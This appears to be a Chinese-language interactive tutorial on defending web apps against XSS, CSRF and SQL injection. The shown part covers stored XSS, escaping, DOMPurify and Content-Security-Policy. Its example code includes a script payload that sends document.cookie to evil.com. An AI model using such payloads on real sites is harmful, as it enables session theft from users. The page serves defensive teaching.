Web 攻防：XSS / CSRF / SQL 注入

OWASP Top 10 的三大经典漏洞

XSS、CSRF、SQL 注入是 Web 安全最高频的三类攻击，也是 OWASP Top 10 的常客。理解每种攻击的原理、危害、以及对应的防御措施（转义、CSP、SameSite Cookie、参数化查询），是每个 Web 开发者的必备知识。

XSSCSRFSQL 注入OWASPCSPSameSite参数化查询输入验证

STEP_1

防御 XSS 的黄金法则：永远不要信任用户输入，所有用户数据在输出到 HTML 之前必须转义。React、Vue 等现代框架默认对插值内容做 HTML 转义（{userInput} 是安全的），但 dangerouslySetInnerHTML（React）、v-html（Vue）绕过了这个保护，使用时必须手动净化。CSP 是纵深防御：即使注入成功，CSP 限制脚本来源可以防止恶意代码执行。

注入恶意脚本到受害者浏览器 — PROCESSING

xss.log

// 存储型 XSS 攻击示例
// 攻击者在评论框提交：
const maliciousComment = `
<script>
  // 窃取受害者的 Cookie 并发送给攻击者
  fetch('https://evil.com/steal?cookie=' + document.cookie)
  // 或者：伪造表单，骗取用户输入密码
</script>
`

// 如果服务端直接存储并渲染：
// 危险！直接插入 innerHTML
element.innerHTML = userComment  // XSS 漏洞！

// 防御：转义 HTML 特殊字符
function escapeHtml(str: string): string {
  return str
    .replace(/&/g, '&amp;')
    .replace(/</g, '&lt;')
    .replace(/>/g, '&gt;')
    .replace(/"/g, '&quot;')
    .replace(/'/g, '&#x27;')
}

// 使用 DOMPurify 库净化富文本
import DOMPurify from 'dompurify'
element.innerHTML = DOMPurify.sanitize(userInput)  // 安全

// Content Security Policy（纵深防御）
// HTTP 响应头：即使注入成功，也禁止外联脚本执行
// Content-Security-Policy: default-src 'self'; script-src 'self' 'nonce-{随机值}'

XSS 跨站脚本攻击：XSS（Cross-Site Scripting）：攻击者将恶意 JavaScript 注入到网页中，当受害者浏览该页面时，恶意脚本在受害者浏览器执行，可窃取 Cookie、重定向页面、伪造请求。分三类：存储型（持久化到数据库）、反射型（URL 参数中）、DOM 型（前端 JS 处理不当）。

实时沙盒SANDBOX

FAULT_INJECTED

快速场景

手动调节

模拟攻击类型

选择查看对应的攻击链路

了解攻击原理是防御的基础

防御强度

开启的防御措施数量

完整防御，所有三类攻击均被拦截

启用 CSP

Content-Security-Policy 响应头